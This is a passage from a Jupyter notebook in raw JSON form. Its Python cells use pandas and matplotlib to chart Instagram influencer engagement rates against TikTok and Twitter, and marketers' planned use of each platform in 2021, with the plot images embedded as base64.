nwWLFjQ4fzM7HL9HXfckV/96lfdLidJ0htlSJQkqRdts802fPOb32S//fbj0UcfBWDUqFEsXrwYgE033ZT58+dz//33A0XL4y677FKtf8YZZzB69Gg+8pGP9H7xkqR+wbubSpJaUzc/WdFMkydP5ktf+hL77LMP11xzDcceeyxTpkxh2LBhzJw5k+985zsccsghLF26lO22244pU6Yss/65557L8ccfz6c//Wn++7//u0l7IUlqVdEfu6tMnDgxZ82a1ewyWldP/zZZM/ThL5eSOnbPPfew2WabNbuMluSxlaTWExGzM3NiR/PsbipJkiRJqhgSJUmSJEkVQ6IkSZIkqWJIlCRJkiRVDImSJEmSpIohUZIkSZJU8XcSJUktafxF43t0e/OOmdfl/IULF7L77rsD8PjjjzNw4EDGjBkDwG233caQIUNet860adMYPnw4Rx99NNOnT2fPPfdk7bXXBorfQjzxxBMZPnx4j+6HJEndMSRKktQDRo8ezZw5cwCYOnUqI0eO5JRTTulynSlTplTD06dPZ8stt1wmJH7gAx9YrpD42muvMXDgwOUvXpKkGnY3lSSpAf7+97+z7bbbAjB37lwigocffhiADTfckBdffJGpU6fypS99iR//+MfMmjWLI488kgkTJvDVr36VRx99lN12243ddtsNgKuvvpoddtiBd7zjHRxyyCEsWbIEgHHjxnHGGWcwefJkfvSjHzVnZyVJLcWQKElSAwwYMICXX36Z559/nhtvvJGJEydy44038tBDD7Hmmmsu00J48MEHM3HiRC655BLmzJnDSSedxNprr811113Hddddx9NPP82ZZ57Jb3/7W26//XYmTpzIOeecU60/dOhQbrrpJg477LBm7KokqcXY3VSSpAZ517vexc0338wNN9zAZz/7WX7961+Tmey0007LtZ1bb72Vu+++mx133BGAv/3tb+ywww7V/EMPPbRH65Yk9W+GREmSGmSnnXaqWg/3339/zj77bCKCfffdd7m2k5m85z3v4dJLL+1w/ogRI3qiXEmSALubSpLUMDvvvDPf+9732HjjjRkwYACrr746v/zlL6sWwVqjRo1i8eLFHY5PmjSJm2++mfvvvx+AF198kT/96U+9sxOSpH7HlkRJUkvq7icresO4ceOAIiwCTJ48mQULFrDaaqu9btljjz2WKVOmMGzYM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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd #import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "import numpy as np\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Instagram DataAnalysis\\ Marketing Statistics\\MS11.csv\", header=0, sep=\",\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats) #make dataframe\n", + "x = list(df.iloc[:, 0]) #get 0th col\n", + "y = list(df.iloc[:, 1]) #get 1st col\n", + "z = list(df.iloc[:, 2])\n", + "w = list(df.iloc[:, 3])\n", + "\n", + "N = len(x)\n", + "ind = np.arange(N)\n", + "plt.figure(figsize=(15,7))\n", + "width = 0.3 \n", + "\n", + "# Plotting\n", + "plt.bar(ind, y , width, label='Instagram')\n", + "plt.bar(ind + width, z, width, label='Tiktok')\n", + "plt.bar(ind + 2*width, w, width, label='Twitter')\n", + "\n", + "plt.xticks(ind + width / 2, x)\n", + "\n", + "plt.xlabel(\"Follower_count\")\n", + "plt.ylabel(\"% of Follower_count\")\n", + "plt.title(\"Instagram influencer engagement rate by follower count, vs other platforms\")\n", + "\n", + "# Finding the best position for legends and putting it\n", + "plt.legend(loc='best')\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Marketers planning to use Instagram for influencer marketing in 2021 vs other platforms" + ] + }, + { + "cell_type": "code", + "execution_count": 90, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " Influencer_marketing_platform Percentage_of_marketers\n", + "0 Instagram 55\n", + "1 YouTube 58\n", + "2 online ads 43\n", + "3 TikTok 35\n", + "4 Tv ads 29\n", + "5 OOH ads 20\n", + "6 Twitch 20\n", + "7 Triller 10\n" + ] + }, + { + "data": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAAAicAAAEWCAYAAAC9njdIAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuMiwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8vihELAAAACXBIWXMAAAsTAAALEwEAmpwYAAArgUlEQVR4nO3deZgcVb3G8e9LEkyALEAQjSyRLQhIIoksgjICIriBgCKLsklA8SIoV7zqlYCiqCCiomwqILIJArmgXLlI2CSGCUnYEYWwhh2ysBN+949zmlQ63bNkZtLVPe/nefqZqlPbObWc+vWp0zWKCMzMzMzKYrlGZ8DMzMysyMGJmZmZlYqDEzMzMysVBydmZmZWKg5OzMzMrFQcnJiZmVmpNCw4kTRaUkga2Kg89NSyLIOkBZLW6evtWHlJGiNphqT5kg7vhfV9S9JZXZxXkn4n6XlJ0yS1SXq0p3loZb25j7pzrJZi3a5bloKk/SXd1MDtz5a0Qw+W/5KkJ/PxX7U389YbOg1O8g54TdLIqvSZ+cY8us9yVzs/TR/ULI2IWCkiHujt9UqaJOm83l5vb+qtSqCnF3MJfAOYEhFDI+LnPV1ZRPwgIr7Yxdm3AT4CrBERm/d021ZfraCmm8eqW5a2bpG0gaQrJD0t6TlJ/ytpTNU8R0p6QtJcSb+V9Lac/jZJv5H0UA62Z0jaubDc8pIuyddsSGrraTl7otnvOznv6xXGBwE/BXbMx//ZxuWutq62nDwI7FUZkfReYMjSbrSRB7hZTy4rt2V0Xq0N3LU0C/ZC/tYGZkfEiz1cT0Ms6+u+n9QzI4DJwBhgdWAacEVloqSPAt8EtgdGA+sAx+bJA4FHgG2B4cB/AxdXfdm9CdgXeKLvilAODThfVgcGsxT1SW5F7funLhHR4QeYDXwHuLWQdiLwbSCA0Tnt48AMYB7ppJtUmH90nvcg4GHghkLawDzP7nlbm5CCpm8C/waeBS4GVsnzPZyXW5A/W+X0A4F7gOeB/wXWLmw/gMOA+0mBloCTgaeAucDtwCZ1yj8F+CHpwptLuvhWqSpXpQwH5DzMBx4ADimspw14FPh63u4c4IDC9LOBU4Gr8vL/ANatKsN6XZx3R+C+nN9fAdcDX6xRtp2A14DX876cldNHkSqd54B/AQd3cH5MKa4b2B+4KQ/X3c/A20jn0cPAk8BpwJA623hrnYVz8qi8vrnARcDgPG0kcCXwQs7/jaTz6ffAm8DLuazfyPP/kVT5zSWdlxsXtrMq8D+kc/pW4PtV+VjsvMppp5DO/3nAdOCDhfkn5e2dl4/bHcAGwH/lffQI6ZtMrX3wN2Ah8ErO/wakSv1c4GngIdJ1ulxhn92c9/9zwPdrrHMScF7VubxfPibPAN/O0w7K212Yt30s+XyudX4WztHvF8Y/AczMx+XvwKZdOZ55+i552XmkOmGnnD4c+A3pWnosH58B3Sx/l48HXbu+jyadT7+vsY8OB+4G1qDO+Q+sSDpH32RRHTeqq8cqTx8CnEOqC+8htbg9Wl3+palbOrlXrJLXtWoePx/4QWH69sATHSx/O7B7jfRHgbYOlvsc0F6VdiQwOQ9/LO/3+fk8OarOepYjXUMP5eN/LjA8T1vivpPPsZvycXyedG/ZubC+3jg/LyFdD/OB24CxVdfNDnl4c+AW0vU1B/glsHyedkPO+4s570fn4Up5/pbn+wCpnpub/36gqp4/Puf5ZWC9vPyXSfXffOB7wLo5H/NI9+1KHmrWyx2eT1044WYDO5Budu8BBpAu2rVZPDhpA96bD/CmpAtu16qL6VzSxTekkDaQdNH/i0UXyBHAVBZdxKcDF1Sta2Ahj7vm5d+T1/cd4O9VF981pItnCPBR0o1jBOkG+h7gnXXKP4V0Ym2S834pS1YSleDk4/ngiPSN4CVgs8L+eQM4DhhEumBeAlYuVArPkU6ygcAfgAs7qEBqzptPgnnAbnnaV0nBxxLBSeECOK8q7XpSUDMYGEe6+W3fwf6pF5zU3c/Az0gB0CrAUFIQ8MM623hrnYVzchqp0l6FVAEfmqf9kFTRD8qfDwKqvpgL6zowb/9tOU8zC9MuzJ8VgI1I5311cPLWeZXT9iUFNQNJgegTLAqcJpFu8h/N088lVWjfznk9mBzkdHFfn0sKloeSzsV/AgcV9tkbwH/kbS0R+FH7hncm6RoZC7wKvKfOMWiji8EJsBmpst+CVH/sl4/F27pwPDcnVZYfIdUt7wI2zNMuJ9UNKwJvz+s4pJvl7/LxoGvX949I59KQ4j4itQzcBqzW2flfvW+X4lidQLqGVybVobdXr69q3V2qW7pwr9gVmFMYnwXsWRgfSSF4qVp29XwsNqwxrbPgZAXSzXH9QtqtwOfy8Bzyl4S8Tzars54DSfeRdYCVgD8Bv6/a58X7zv6kuvVg0nn9JeBxFtU3l9Pz8/N1YA/S+XgU6fwcVF2fAeOBLfO6RpOuoSM6uD4XKw/pPHwe+Hxex155vBJoTiEFaBvn6YPy8pOBYTn9VeDavP+GkwLC/Tqrl+se1y6ccLNJwcl38gZ2IlXIAykEJzWW+xlwctWOWKfGzjkqF2KNwrR7KNwMgXfmgzSQ2ifJX8iVch5fjlRxrF04MNsVpm9Hqsi3pLPoLR2UEwrjG5FaGwbUykvVspcDXy1UOC9X5fspYMtCpXBWYdrHgHs7qEBqzgt8AbilME2km2qXghNgTdI35KGFtB8CZ3ewf+oFJzX3c87Tiyze2rMVdW7M1A5O9i2M/xg4LQ8fR7phr1djPbOpCk6qpo/I+3l4Pr6vA2MK02u1nGxXb315nufJ33byvr6mMO2TpG8ulW9TQ/M6R3S2r3P+XgU2Kkw/hNQnpbLPHu4kb28dexady8XrcBqLKvjqY9BG14OTXwPfq9r2fcC2XTiep5PrkarlV8/lH1JI2wu4rpvl78nxuJzFr+/XWLzFp430xeanpG/Yw7ty/lfv26U4Vg8AHy1M+2L1+qrW3aW6pZN9uUYu616FtLdaufJ45YY2umrZQcD/AafXWXeHwUme5zzgu3l4fVKwskIef5h0bQzrZB3XAl8ujI+h4/vO/sC/CuMr5Hne0Yvn59TC+HIsHmjNpk59RvqCf1kH1+di5SEFJdOq1nELsH8engIcV+O82bowPh04ujB+EvCzPFy3Xq736c5zo98De+edem71RElbSLoud46aCxxKipSLHqmx3v8ETo2IYgewtYHLJL0g6QVSsLKQdMBrWRs4pTD/c6QK4F21th0RfyM1e50KPCnpDEnD6qy7Ot8PkS6m6rIhaWdJU3PnsBdIF3Zxvmcj4o3C+EukCL3iiQ6mVas37ygWL2uQLu6uGgU8FxHzC2kPsfi+7JIO9vNqpAt5euGYXZ3Tu6pe+X9C+vbzV0kPSPpmvRVIGiDpBEn/ljSPdLFDOmarsei5eEWt83exNElfl3RP7gD4AinQKZ4DTxaGXwaeiYiFhXHo+LhXjASWJx2biurjVCu/nenOOdhVawNfrxzrvF/WJJ1rnW13TdJNrtY6BwFzCus8nfQNtaIr5e/y8ejC9f10RLxS